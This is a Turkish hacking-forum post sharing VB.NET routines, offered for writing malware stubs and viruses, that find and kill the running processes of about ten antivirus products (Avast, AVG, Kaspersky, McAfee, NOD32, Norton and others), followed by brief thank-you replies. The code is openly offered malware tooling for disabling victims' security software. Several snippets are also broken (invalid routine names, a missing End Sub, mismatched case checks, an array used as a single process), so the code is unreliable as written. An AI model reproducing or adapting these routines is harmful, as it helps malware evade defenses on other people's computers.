KilL All AnTis ~ CoDe

Vb.net de stub veya virus kodlarken antileri kapatmak için kodlar
[hide]
Antia-squared :
---------------------------------
Sub Antia-squared()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "a2servic.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub

---------------------------------
AntiGen :
---------------------------------
Sub Anti AntiGen()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "antigen.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub

---------------------------------
Avast :
---------------------------------

Sub AntiAvast()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ashWebSv.exe"
ktp(i).Kill()
Case Else
End Select
Next

---------------------------------
AVG:
---------------------------------
Sub AntiAVG()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "avgemc.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub


---------------------------------
BitDefender 2 :
---------------------------------
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next


---------------------------------
BitDefender :
---------------------------------

Sub AntiBitDefender()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "bdagent"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub


---------------------------------
Comodo :
---------------------------------

Sub AntiComodo()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "cpf.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub


---------------------------------
Kaspersky :
---------------------------------

Sub AntiKaspersky()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "avp"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub

---------------------------------
McAfee :
---------------------------------

Sub AntiMcAfee()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "mcagent" & "mcuimgr"
ktp(i).Kill()
Case Else
End Select
Next
End Sub


---------------------------------
NOD32 2 :
---------------------------------

Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod.ProcessName)
If Strings.UCase(nod.ProcessName)=Strings.UCase("e gui") Then
nod.Kill()
End If
Next


---------------------------------
NOD32 :
---------------------------------

Sub AntiNOD32()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "egui"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub

---------------------------------
Norton :
---------------------------------

Sub Anti Norton()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ccapp.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------

[/hide]

dostum ömleri boşalt eline sağlık

Cengaver' Alıntı:

dostum ömleri boşalt eline sağlık

Genişletmek için tıkla ...

tmm knk face ye gel olmadı

ohoh teşekkürler

qwdasdasdasdasd